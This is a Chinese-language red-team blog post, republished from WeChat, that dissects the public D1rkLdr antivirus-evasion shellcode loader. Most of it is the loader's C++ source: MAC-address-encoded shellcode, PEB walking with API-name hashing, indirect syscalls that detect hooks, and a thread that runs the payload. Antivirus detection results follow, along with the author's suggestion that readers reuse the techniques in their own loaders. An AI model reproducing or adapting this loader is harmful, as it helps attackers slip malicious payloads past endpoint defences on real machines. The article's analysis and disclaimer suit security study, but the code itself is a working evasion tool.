红队免杀系列之自动化Loader解读(一)

admin 2024年9月28日14:02:54评论28 views字数 9879阅读32分55秒阅读模式

本是青灯不归客,却因浊酒恋红尘

01

D1rkLdr

上章简单讲了手写加载器,那么本章,聊聊公开的那些自动化生成的免杀规避加载器,解读一下主体代码运用的技术,以及免杀效果,由于以下的代码项目较多,于是仅挑选有代表性的项目进行分析解读:

红队免杀系列之自动化Loader解读(一)

先说第一个

项目地址:https://github.com/TheD1rkMtr/D1rkLdr

简介:

Shellcode Loader with Indirect Dynamic syscall Implementation , shellcode in MAC format, API resolving from PEB, Syscall calll and syscall instruction address resolving at run time

红队免杀系列之自动化Loader解读(一)

02

代码结构及解析

使用C++编写的loader部分,使用bin2mac.py脚本将shellcode文件转换为Mac地址,GetHash.py用于获取Windows底层函数的散列,用于规避杀毒:

红队免杀系列之自动化Loader解读(一)

主体代码部分

int main(int argc, char** argv) {    const char* MAC[] =    {        "FC-48-83-E4-F0-E8",        "C0-00-00-00-41-51",        "41-50-52-51-56-48",        "31-D2-65-48-8B-52",        "60-48-8B-52-18-48",        "8B-52-20-48-8B-72",        "50-48-0F-B7-4A-4A",        "4D-31-C9-48-31-C0"        ...    };        PVOID BaseAddress = NULL;        SIZE_T dwSize = 0x2000;        LPVOID addr = NULL;        BYTE high = NULL;        BYTE low = NULL;        WORD syscallNum = NULL;        INT_PTR syscallAddr = NULL;        int rowLen = sizeof(MAC) / sizeof(MAC[0]);        PCSTR Terminator = NULL;        NTSTATUS STATUS;        HMODULE mod = getModule(4097367);  // Hash of ntdll.dll        //python GetHash.py ZwAllocateVirtualMemory        addr = getAPIAddr(mod, 18887768681269);  // Hash of ZwAllocateVirtualMemory        syscallNum = Unh00ksyscallNum(addr);        syscallAddr = Unh00ksyscallInstr(addr);        GetSyscall(syscallNum);        GetSyscallAddr(syscallAddr);        NTSTATUS status1 = sysZwAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);        if (!NT_SUCCESS(status1)) {            return 1;        }        printf("[+] sysZwAllocateVirtualMemory executed !!n");        DWORD_PTR ptr = (DWORD_PTR)BaseAddress;        for (int i = 0; i < rowLen; i++) {            STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator, (DL_EUI48*)ptr);            if (!NT_SUCCESS(STATUS)) {                return FALSE;            }            ptr += 6;        }        HANDLE hThread;        DWORD OldProtect = 0;        addr = getAPIAddr(mod, 6180333595348);        syscallNum = Unh00ksyscallNum(addr);        syscallAddr = Unh00ksyscallInstr(addr);        GetSyscall(syscallNum);        GetSyscallAddr(syscallAddr);        NTSTATUS NtProtectStatus1 = sysNtProtectVirtualMemory(NtCurrentProcess(), &BaseAddress, (PSIZE_T)&dwSize, PAGE_EXECUTE_READ, &OldProtect);        if (!NT_SUCCESS(NtProtectStatus1)) {            return 2;        }        printf("[+] sysNtProtectVirtualMemory executed !!n");        HANDLE hHostThread = INVALID_HANDLE_VALUE;        //python GetHash.py NtCreateThreadEx        addr = getAPIAddr(mod, 8454456120);  // Hash of NtCreateThreadEx        syscallNum = Unh00ksyscallNum(addr);        syscallAddr = Unh00ksyscallInstr(addr);        GetSyscall(syscallNum);        GetSyscallAddr(syscallAddr);        NTSTATUS NtCreateThreadstatus = sysNtCreateThreadEx(&hHostThread, 0x1FFFFF, NULL, NtCurrentProcess(), (LPTHREAD_START_ROUTINE)BaseAddress, NULL, FALSE, NULL, NULL, NULL, NULL);        if (!NT_SUCCESS(NtCreateThreadstatus)) {            printf("[!] Failed in sysNtCreateThreadEx (%u)n", GetLastError());            return 3;        }        printf("[+] sysNtCreateThreadEx executed !!n");        LARGE_INTEGER Timeout;        Timeout.QuadPart = -10000000;        //python GetHash.py NtWaitForSingleObject        addr = getAPIAddr(mod, 2060238558140);  // Hash of NtWaitForSingleObject        syscallNum = Unh00ksyscallNum(addr);        syscallAddr = Unh00ksyscallInstr(addr);        GetSyscall(syscallNum);        GetSyscallAddr(syscallAddr);        NTSTATUS NTWFSOstatus = sysNtWaitForSingleObject(hHostThread, FALSE, &Timeout);        if (!NT_SUCCESS(NTWFSOstatus)) {            printf("[!] Failed in sysNtWaitForSingleObject (%u)n", GetLastError());            return 4;        }        printf("[+] sysNtWaitForSingleObject executed !!n");        printf("[+] Finished !!!n");        return 0;}

红队免杀系列之自动化Loader解读(一)可以看到本质是将shellcode转换为形如IP中的MAC地址的形式,以绕过对shellcode字符串的查杀,并使用syscall直接系统调用绕过动态查杀,同时在调用ntdll.dll时,通过计算Hash散列的方式,调用 ZwAllocateVirtualMemory 等地产系统函数,规避杀毒软件对于底层函数的监控。

getAPIAddr函数

通过获取散列hash来获取函数名

DWORD calcHash(char* data) {    DWORD hash = 0x99;    for (int i = 0; i < strlen(data); i++) {        hash += data[i] + (hash << 1);    }    return hash;}static DWORD calcHashModule(LDR_MODULE* mdll) {    char name[64];    size_t i = 0;    while (mdll->dllname.Buffer[i] && i < sizeof(name) - 1) {        name[i] = (char)mdll->dllname.Buffer[i];        i++;    }    name[i] = 0;    return calcHash((char*)CharLowerA(name));}static HMODULE getModule(DWORD myHash) {    HMODULE module;    INT_PTR peb = __readgsqword(0x60);    auto ldr = 0x18;    auto flink = 0x10;    auto Mldr = *(INT_PTR*)(peb + ldr);    auto M1flink = *(INT_PTR*)(Mldr + flink);    auto Mdl = (LDR_MODULE*)M1flink;    do {        Mdl = (LDR_MODULE*)Mdl->e[0].Flink;        if (Mdl->base != NULL) {            if (calcHashModule(Mdl) == myHash) {                break;            }        }    } while (M1flink != (INT_PTR)Mdl);    module = (HMODULE)Mdl->base;    return module;}static LPVOID getAPIAddr(HMODULE module, DWORD myHash) {    PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;    PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);    PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(        (LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);    PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);    PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);    PWORD  fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);    for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {        LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);        if (calcHash(pFuncName) == myHash) {            return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);        }    }    return NULL;}

getAPIAddr函数是一个用于获取动态链接库(DLL)中导出函数地址的函数,根据提供的哈希值(myHash)查找匹配的函数。

以下是对该函数的解读:

  1. getAPIAddr 函数的参数包括一个 HMODULE 类型的模块句柄 module,表示要查询的动态链接库,以及一个 DWORD 类型的哈希值 myHash,表示要查找的函数的哈希值。

  2. 首先,函数通过 module 获取到该模块的DOS头,这是Windows可执行文件的头部结构。

PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)module;
  1. 接着,通过DOS头的e_lfanew字段,找到NT头,这是一个Windows可执行文件的标准头部。

PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((LPBYTE)module + DOSheader->e_lfanew);
  1. 从NT头中,获取导出表目录(Export Directory)的地址。

PIMAGE_EXPORT_DIRECTORY EXdir = (PIMAGE_EXPORT_DIRECTORY)(    (LPBYTE)module + NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

导出表目录包含了有关模块中导出函数的信息,如函数名称、函数地址等。

  1. 获取函数地址表、函数名称表和函数序号表的地址。这些表中包含了导出函数的相关信息。

PDWORD fAddr = (PDWORD)((LPBYTE)module + EXdir->AddressOfFunctions);
PDWORD fNames = (PDWORD)((LPBYTE)module + EXdir->AddressOfNames);
PWORD  fOrdinals = (PWORD)((LPBYTE)module + EXdir->AddressOfNameOrdinals);
  1. 接下来,使用一个循环遍历导出函数的名称表,以查找匹配 myHash 的函数。

for (DWORD i = 0; i < EXdir->AddressOfFunctions; i++) {
   LPSTR pFuncName = (LPSTR)((LPBYTE)module + fNames[i]);
   if (calcHash(pFuncName) == myHash) {
       return (LPVOID)((LPBYTE)module + fAddr[fOrdinals[i]]);
   }
}

在循环中,首先获取导出函数的名称,并将其传递给 calcHash 函数来计算其哈希值。如果哈希值与 myHash 匹配,则返回该函数的地址。否则,继续遍历直到找到匹配的函数或遍历完所有导出函数。

  1. 如果循环结束后仍然没有找到匹配的函数,则函数返回 NULL 表示未找到匹配的函数。

这个函数的主要目的是根据函数名称的哈希值来查找并返回相应函数的地址。通常,这种方法用于在运行时动态获取导出函数的地址,以便执行该函数,特别是在恶意软件或反汇编等上下文中可能会用到这种技巧。

实际引用了

ZwAllocateVirtualMemory

NtCreateThreadEx

NtWaitForSingleObject

这几个底层函数,通过CFF对编译后的EXE进行分析:

红队免杀系列之自动化Loader解读(一)发现导入表并没有这三个引用的函数,证明是隐藏成功的。

Unh00ksyscallNum函数

关于系统调用的部分

WORD Unh00ksyscallNum(LPVOID addr) {    WORD syscall = NULL;    if (*((PBYTE)addr) == 0x4c        && *((PBYTE)addr + 1) == 0x8b        && *((PBYTE)addr + 2) == 0xd1        && *((PBYTE)addr + 3) == 0xb8        && *((PBYTE)addr + 6) == 0x00        && *((PBYTE)addr + 7) == 0x00) {        BYTE high = *((PBYTE)addr + 5);        BYTE low = *((PBYTE)addr + 4);        syscall = (high << 8) | low;        return syscall;    }    if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||        *((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {        for (WORD idx = 1; idx <= 500; idx++) {            if (*((PBYTE)addr + idx * DOWN) == 0x4c                && *((PBYTE)addr + 1 + idx * DOWN) == 0x8b                && *((PBYTE)addr + 2 + idx * DOWN) == 0xd1                && *((PBYTE)addr + 3 + idx * DOWN) == 0xb8                && *((PBYTE)addr + 6 + idx * DOWN) == 0x00                && *((PBYTE)addr + 7 + idx * DOWN) == 0x00) {                BYTE high = *((PBYTE)addr + 5 + idx * DOWN);                BYTE low = *((PBYTE)addr + 4 + idx * DOWN);                syscall = (high << 8) | low - idx;                return syscall;            }            if (*((PBYTE)addr + idx * UP) == 0x4c                && *((PBYTE)addr + 1 + idx * UP) == 0x8b                && *((PBYTE)addr + 2 + idx * UP) == 0xd1                && *((PBYTE)addr + 3 + idx * UP) == 0xb8                && *((PBYTE)addr + 6 + idx * UP) == 0x00                && *((PBYTE)addr + 7 + idx * UP) == 0x00) {                BYTE high = *((PBYTE)addr + 5 + idx * UP);                BYTE low = *((PBYTE)addr + 4 + idx * UP);                syscall = (high << 8) | low + idx;                return syscall;            }        }    }}

Unh00ksyscallNum函数用于查找系统调用号

系统调用号是用于与操作系统内核通信的一种机制,每个系统调用都有一个唯一的号码,它告诉内核执行哪个特定的操作。

以下是对该函数的解读:

  1. 函数接受一个 LPVOID 类型的参数 addr,它表示一个内存地址,通常是一段二进制代码的起始地址。

  2. 首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。

    • *((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。

    • *((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。

    • *((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。

    • *((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。

    • *((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。

    • *((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。

  1. 如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它从内存中提取出两个字节,这两个字节构成了系统调用号。高字节在低地址处,低字节在高地址处,因此需要进行位移和按位或操作,将它们合并成一个 WORD 类型的系统调用号,并将其返回。

  2. 如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用号。

  3. 第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它会计算系统调用号,考虑到跳转指令的偏移,然后将其返回。

总的来说,这个函数用于解析在给定内存地址 addr 处的系统调用号。它首先尝试匹配一种特定的模式,如果找到,直接提取系统调用号。如果未找到,则搜索跳转指令,再次尝试匹配模式,并计算出系统调用号。这种函数通常用于逆向工程或恶意软件分析中,以确定恶意代码中的系统调用。

Unh00ksyscallInstr函数

INT_PTR Unh00ksyscallInstr(LPVOID addr) {    WORD syscall = NULL;    if (*((PBYTE)addr) == 0x4c        && *((PBYTE)addr + 1) == 0x8b        && *((PBYTE)addr + 2) == 0xd1        && *((PBYTE)addr + 3) == 0xb8        && *((PBYTE)addr + 6) == 0x00        && *((PBYTE)addr + 7) == 0x00) {        return (INT_PTR)addr + 0x12;    // syscall    }    if (*((PBYTE)addr) == 0xe9 || *((PBYTE)addr + 3) == 0xe9 || *((PBYTE)addr + 8) == 0xe9 ||        *((PBYTE)addr + 10) == 0xe9 || *((PBYTE)addr + 12) == 0xe9) {        for (WORD idx = 1; idx <= 500; idx++) {            if (*((PBYTE)addr + idx * DOWN) == 0x4c                && *((PBYTE)addr + 1 + idx * DOWN) == 0x8b                && *((PBYTE)addr + 2 + idx * DOWN) == 0xd1                && *((PBYTE)addr + 3 + idx * DOWN) == 0xb8                && *((PBYTE)addr + 6 + idx * DOWN) == 0x00                && *((PBYTE)addr + 7 + idx * DOWN) == 0x00) {                return (INT_PTR)addr + 0x12;            }            if (*((PBYTE)addr + idx * UP) == 0x4c                && *((PBYTE)addr + 1 + idx * UP) == 0x8b                && *((PBYTE)addr + 2 + idx * UP) == 0xd1                && *((PBYTE)addr + 3 + idx * UP) == 0xb8                && *((PBYTE)addr + 6 + idx * UP) == 0x00                && *((PBYTE)addr + 7 + idx * UP) == 0x00) {                return (INT_PTR)addr + 0x12;             }        }    }}

这段代码是用于解析一段二进制代码中的系统调用指令的地址的函数。根据代码的不同模式,它尝试找到系统调用指令,并返回指令地址的偏移量(作为 INT_PTR 类型)。

以下是对该函数的详细解读:

  1. 函数接受一个 LPVOID 类型的参数 addr,表示一段内存中的地址,通常是一段二进制代码的起始地址。

  2. 首先,函数检查位于 addr 地址处的内存是否匹配特定的模式。这个模式是根据 x64 Windows 系统上的系统调用指令的编码约定而制定的。

    • *((PBYTE)addr) == 0x4c 检查第一个字节是否是 0x4c。

    • *((PBYTE)addr + 1) == 0x8b 检查第二个字节是否是 0x8b。

    • *((PBYTE)addr + 2) == 0xd1 检查第三个字节是否是 0xd1。

    • *((PBYTE)addr + 3) == 0xb8 检查第四个字节是否是 0xb8。

    • *((PBYTE)addr + 6) == 0x00 检查第七个字节是否是 0x00。

    • *((PBYTE)addr + 7) == 0x00 检查第八个字节是否是 0x00。

  1. 如果以上的检查条件都满足,表示函数在这个地址处找到了系统调用指令的模式。然后,它返回该指令的地址偏移量,偏移量是相对于传入的 addr 地址的。

  2. 如果第一种模式的检查条件不满足,函数进入第二种模式的检查。它检查是否有 0xe9 指令的跳转语句。如果找到跳转语句,它会在一定的范围内搜索第一种模式的系统调用指令,以寻找系统调用指令,并返回指令地址的偏移量。

  3. 在第二种模式中,函数从当前地址向前或向后搜索,直到找到匹配的系统调用指令模式。在找到匹配的模式后,它返回该指令的地址偏移量,考虑到跳转指令的偏移量。

总的来说,这个函数用于解析一段内存中的二进制代码,以查找系统调用指令的地址,并返回该指令的地址偏移量。

03

效果

简单的看一下效果如何

红队免杀系列之自动化Loader解读(一)丢到微步沙箱

样本Sha256: 6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade

红队免杀系列之自动化Loader解读(一)看起来尚可.

红队免杀系列之自动化Loader解读(一)

丢到virustotal沙箱验证

6951eb972e25932c3cc08211357c15b47e1e9e8a887d625d9e4931959d73aade  

红队免杀系列之自动化Loader解读(一)检出率还是蛮高的,说明其实还需要做一点处理

红队免杀系列之自动化Loader解读(一)

具体如何处理,仁者见仁智者见智啦。

04

小结

本篇分析了D1rkLdr 加载器的一些代码特征,以及运用的一下规避技术,文章包含对代码的解读,实际在编写自己的加载器时也可以归纳总结这些公开的技术。

红队免杀系列之自动化Loader解读(一)

END
红队免杀系列之自动化Loader解读(一)

原文始发于微信公众号(JC的安全之路):红队免杀系列之自动化Loader解读(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:02:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队免杀系列之自动化Loader解读(一)https://cn-sec.com/archives/1980468.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息